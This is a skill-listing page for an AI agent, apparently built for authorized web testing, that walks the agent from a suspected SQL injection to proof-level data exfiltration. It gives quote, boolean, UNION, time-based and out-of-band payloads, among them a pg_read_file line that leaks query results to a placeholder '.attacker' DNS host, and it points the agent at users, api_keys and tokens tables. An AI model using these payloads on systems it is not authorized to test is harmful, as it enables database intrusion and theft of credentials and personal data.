# Sqli To Data Exfil

> Escalate a suspected or confirmed SQL injection into proof-level data exfiltration. Use when you spot an SQL error in a response, a record from a prior scan flagged a SQLi pattern, or boolean/time differentials indicate the payload reaches the query parser. Walks from probe → confirm → enumerate → exfil with payload-class-aware techniques (in-band, blind boolean, blind time, blind OAST) and ends by persisting a concrete finding with the leaked sample.

- Skill: `vigolium/sqli-to-data-exfil` (Agent Skill)
- Install (CLI): `npx skillmds@latest add vigolium/sqli-to-data-exfil`
- Raw SKILL.md: https://api.skillmd.com/api/skills/vigolium/sqli-to-data-exfil/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- License: MIT
- Author: vigolium (https://skillmd.com/u/vigolium)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/vigolium/sqli-to-data-exfil

---


# SQLi → Data Exfiltration

You suspect SQL injection somewhere in the target. Your job is to turn that
suspicion into proof — a real exfil sample from the database — and persist
it as a finding with reproducible evidence. Speculation isn't a finding.

## When this skill applies

Trigger this strategy when any of these is true:

- An HTTP record's response contains an SQL error fragment: `SQLITE_ERROR`,
  `ORA-`, `MySQL syntax`, `PostgreSQL`, `unclosed quotation mark`,
  `mismatched parenthesis`, `near "X": syntax error`.
- A prior scan's record body has a `q=...'`, `id=...'`, `search=...` payload
  that triggered a 500 / different content-length / reflected error.
- A user-controlled parameter feeds into a `SELECT`/`WHERE`/`ORDER BY`
  context that the response body or scanner finding directly suggests.
- The audit harness produced a finding with CWE-89 / "SQL Injection" /
  "blind SQLi" — even theoretical.

If you only have a generic "fuzz everything" task, stop and pick a record
first (`query_records` then `inspect_record`). Do not run this skill blind.

## Workflow

### 1. Anchor on a record

Pick the strongest candidate via `query_records` filters (`status: [500]`,
`search: "SQL"`, `has_params: true`) and `inspect_record` to load its raw
request and the parsed insertion points. Note the **insertion point name**
and **type** (URL_PARAM, POST_BODY_PARAM, HEADER, JSON_PATH) — payload
encoding differs per type.

`remember` the chosen insertion point with a key like `sqli-target` so the
plan survives context churn.

### 2. Classify the injection

Run two probes with `replay_request` against the chosen insertion point:

- **Quote test**: send `'` and `''`. Compare baseline vs replay status,
  length, body hash. If `'` errors and `''` succeeds → string context. If
  both behave like baseline → numeric context or filtered.
- **Boolean test**: send `1' AND '1'='1` (or `1 AND 1=1` for numeric) and
  `1' AND '1'='2`. Equal-vs-different responses prove an in-band boolean.

If neither yields a difference, fall through to the blind paths below.

### 3. Pull a payload set

Call `attack_kit` with `class: "sqli"` to get starter payloads. Don't fire
them all — read them and pick the ones that match the context (string vs
numeric, single-quote vs double-quote, MySQL vs SQLite vs Postgres
fingerprint from the error message).

### 4. Confirm with a verifiable oracle

Choose the cheapest oracle that actually proves execution, not behavior
difference:

- **In-band**: UNION SELECT a sentinel string into a column that gets
  echoed. Look for the sentinel in the replay body. **This is the only
  oracle that proves data exfil end-to-end in one shot.**
- **Blind boolean**: pair true/false branches against a 2-bit fact you
  control (e.g. `IF(SUBSTRING(@@version,1,1)='5',sleep(0),null)`).
- **Blind time**: `SLEEP(5)` / `pg_sleep(5)` / `randomblob(...)` — only
  use when nothing else differentiates. Confirm with at least 2 trials.
- **Blind OAST**: `oast_mint` a canary, inject `LOAD_FILE(...)`,
  `xp_dirtree`, or `pg_read_file('//' || (SELECT ...) || '.attacker')`
  to leak via DNS/HTTP. Poll with `oast_poll` until the callback shows up
  (give it up to 60 seconds).

### 5. Enumerate then exfil

Once confirmed, walk the schema:

1. Database version + name: leak via the chosen oracle.
2. Table names: `information_schema.tables` (MySQL/Postgres) or
   `sqlite_master` (SQLite).
3. Column names for the highest-value table: pick `users`, `accounts`,
   `api_keys`, `tokens`, `sessions`, `secrets` — not `migrations`.
4. **One real row**: leak a single concrete value (a hashed password, an
   email, an API key prefix). One row is sufficient — do not bulk-exfil.

Keep a `remember` note with the leaked sample (key: `sqli-exfil-sample`)
so the finding writer can include it as evidence.

### 6. Persist the finding

Call `report_finding` exactly once for this issue:

- `severity`: `critical` if the leaked value is a credential, API key,
  session token, or PII. `high` otherwise.
- `title`: include the endpoint + parameter (e.g.
  `"SQLi in /rest/products/search q parameter leaks SQLite schema"`).
- `cwe_id`: `CWE-89`.
- `description`: 2-3 sentences — context, payload, leaked sample (mask
  the sensitive part: `admin@…` not the full email).
- Include the **exact mutated request line** that produced the leak.

If the audit harness already produced a theoretical finding for the same
endpoint, call `update_finding` with `status: triaged` and reference the
new evidence in the description instead of double-reporting.

## Pitfalls — read before sending

- Do not use destructive payloads (`DROP`, `DELETE`, `UPDATE`) under any
  circumstance. Use `SELECT` only.
- Time-based SLEEP confirms blind SQLi *only* if the application doesn't
  also delay other requests (e.g. shared rate limiter). Run a baseline
  with the same length payload but no sleep before claiming the oracle.
- `UNION` requires matching column count. If the first `UNION SELECT 1`
  errors with "different number of columns", iterate `1,2`, `1,2,3` until
  it goes through — then identify which slot reflects.
- If the response is JSON and the injection point is inside a quoted
  field, your payload must escape the JSON before it escapes the SQL.
- Stored procedures (mssql `xp_cmdshell`, postgres `COPY FROM PROGRAM`)
  cross into RCE — that's a different skill (`command-injection-rce`).
  Do not chain without explicit operator authorization in the scope.

## Output expectations

- One `report_finding` call per distinct SQLi (don't re-report per
  parameter if the same handler is vulnerable on many).
- A `remember` note with the canonical exfil sample so it survives
  context loss.
- The plan item that triggered this skill marked `done` via `update_plan`.

